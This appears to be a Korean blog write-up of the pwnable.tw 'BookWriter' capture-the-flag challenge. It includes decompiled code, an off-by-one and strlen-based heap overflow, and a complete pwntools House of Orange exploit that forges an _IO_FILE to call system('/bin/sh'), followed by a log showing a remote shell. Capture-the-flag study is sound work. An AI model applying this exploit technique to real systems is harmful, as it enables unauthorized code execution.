Summary
off by one
house of orange
처음 풀어보는 오렌지 문제였습니다. 오렌지 꿀잼.
Analysis
main()
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
input_author();
while ( 1 )
{
menu();
switch ( read_int() )
{
case 1LL:
add();
break;
case 2LL:
view();
break;
case 3LL:
edit();
break;
case 4LL:
information();
break;
case 5LL:
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}
add
,view
,edit
,information
이렇게 4개의 기능이 존재합니다. delete
는 없네요.
시작할 때 input_author
라는 함수를 실행합니다.
input_author()
__int64 input_author()
{
printf("Author :");
return read_str(&author, 0x40u);
}
author
는 전역변수로, 크기는 0x40
입니다.
해당 변수에 0x40
만큼 꽉 채워서 입력하면, 아래 존재하는 global_ptr
까지 닿을 수 있습니다.
따라서, heap_leak
이 가능합니다.
add()
int add()
{
unsigned int index; // [rsp+Ch] [rbp-14h]
char *ptr; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]
for ( index = 0; ; ++index )
{
if ( index > 8 )
return puts("You can't add new page anymore!");
if ( !global_ptr[index] )
break;
}
printf("Size of page :");
size = read_int();
ptr = malloc(size);
if ( !ptr )
{
puts("Error !");
exit(0);
}
printf("Content :");
read_str(ptr, size);
global_ptr[index] = ptr;
global_size[index] = size;
++page;
return puts("Done !");
}
malloc()
을 해주는 부분입니다.
취약점은 for(index = 0; ; ++index)
에 있습니다.
할당할때 0
부터 7
까지여야 하는데 off by one
이 발생합니다.
따라서, 그 아래있는 global_size
의 0번 인덱스를 덮을 수 있습니다.
즉, 사이즈에 힙 주소가 들어가 heap overflow
가 발생합니다.
edit()
int edit()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index of page :");
index = read_int();
if ( index > 7 )
{
puts("out of page:");
exit(0);
}
if ( !global_ptr[index] )
return puts("Not found !");
printf("Content:");
read_str(global_ptr[index], global_size[index]);
global_size[index] = strlen(global_ptr[index]);
return puts("Done !");
}
edit
입니다.
원래 사이즈만큼 수정하고, global_size[index]
에 값을 다시 지정합니다.
여기서 strlen
을 사용하므로 top_chunk
를 덮을 수 있습니다.
힙이 아래와 같이 있다고 생각해봅시다.
gdb-peda$ x/40gx 0xa5f000
0xa5f000: 0x0000000000000000 0x0000000000000021
0xa5f010: 0x4242424242424242 0x4242424242424242
0xa5f020: 0x4242424242424242 0x0000000000020fe1
원래라면 사이즈는 0x18
이여야 합니다.
하지만 strlen
을 사용하므로 0x20fe1
부분까지 size로 인식해버립니다.
따라서, 사이즈는 0x18 + 0x3
인 0x1b
가 됩니다.
이제 top_chunk
도 덮어서 언솔빈도 만들고 릭도 되고 힙오버도 되므로 오렌지 하면 됩니당.
Exploit
from pwn import *
#context.log_level = "debug"
binary = "./bookwriter"
e = ELF(binary)
libc = ELF("./libc.so.6")
r = remote("chall.pwnable.tw",10304)
r.sendafter("Author :","X"*0x40)
def add(size,content):
r.sendafter("Your choice :","1")
r.sendafter("Size of page :",str(size))
r.sendafter("Content :",content)
def view(index):
r.sendafter("Your choice :","2")
r.sendafter("Index of page :",str(index))
def edit(index,content):
r.sendafter("Your choice :","3")
r.sendafter("Index of page :",str(index))
r.sendafter("Content:",content)
def heap_leak():
r.sendafter("Your choice :","4")
r.recvuntil("X"*0x40)
heap = u64(r.recvuntil("\n")[:-1].ljust(0x8,"\x00"))
r.sendlineafter("(yes:1 / no:0) ",str(0))
return heap
def libc_leak():
view(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c3b20 + 1640
return libc_base
num = 0x18
add(num,"A"*num)
edit(0,"B"*num)
edit(0,"B"*num + p32(0xfe1))
add(0x1000,"C"*num)
add(0x10,"D"*8)
log.success("Free top chunk, top chunk = unsorted bin")
heap = heap_leak() - 0x10
libc_base = libc_leak()
IO_list_all = libc_base + libc.symbols["_IO_list_all"]
system = libc_base + libc.symbols["system"]
log.info("heap : " + hex(heap))
log.info("libc_base : " + hex(libc_base))
log.info("IO_list_all : " + hex(IO_list_all))
log.info("system : " + hex(system))
for i in range(8 - 3):
add(num,"X"*num)
edit(0,"\x00")
add(num,"DDDD")
log.success("Off by one trigger")
payload = ""
payload += "A" * 24 + p64(0x21)
payload = payload * 7 + "A" * 0x10
IO_file = ""
IO_file += "/bin/sh\x00" + p64(0x61) # prev_size, size
IO_file += "A"* 8 + p64(IO_list_all - 0x10) # fd, bk
IO_file += p64(0) # write base
IO_file += p64(1) # write ptr
IO_file = IO_file.ljust(0xc0,"\x00")
IO_file += p64(0) # mode
IO_file = IO_file.ljust(0xd8,"\x00")
IO_file += p64(heap + 0x1e0)
IO_jump = "\x00" * 0x18
IO_jump += p64(system)
payload += IO_file
payload += IO_jump
edit(0,payload)
edit(0,"\x00")
#r.sendafter("Your choice :","1")
#r.sendafter("Size of page :","32")
r.interactive()
특히 립시주소 들어가있길래 언솔빈인줄 알았는데 알고보니까 언솔빈 아니여서 거기서 삽질했습니당.
Flag
juntae@ubuntu:~/wargame/pwnable.tw/bookwriter$ p remote.py
[*] '/home/juntae/wargame/pwnable.tw/bookwriter/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
[*] '/home/juntae/wargame/pwnable.tw/bookwriter/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10304: Done
[+] Free top chunk, top chunk = unsorted bin
[*] heap : 0x9f6000
[*] libc_base : 0x7fe19f1ad000
[*] IO_list_all : 0x7fe19f571520
[*] system : 0x7fe19f1f2390
[+] Off by one trigger
[*] Switching to interactive mode
Done !
----------------------
BookWriter
----------------------
1. Add a page
2. View a page
3. Edit a page
4. Information
5. Exit
----------------------
Your choice :$ 1
Size of page :$ 32
$ id
uid=1000(bookwriter) gid=1000(bookwriter) groups=1000(bookwriter)
'System Hacking (pwnable) > pwnable.TW Write-up' 카테고리의 다른 글
[pwnable.tw] Secret Of My Heart ( write-up ) (0) | 2019.11.07 |
---|---|
[pwnable.tw] Heap Paradise ( write-up ) (0) | 2019.10.31 |
[pwnable.tw] babystack ( write-up ) (0) | 2019.10.02 |
[pwnable.tw] tcache tear ( write-up ) (0) | 2019.09.25 |
[pwnable.tw] seethefile ( write-up ) (0) | 2019.09.24 |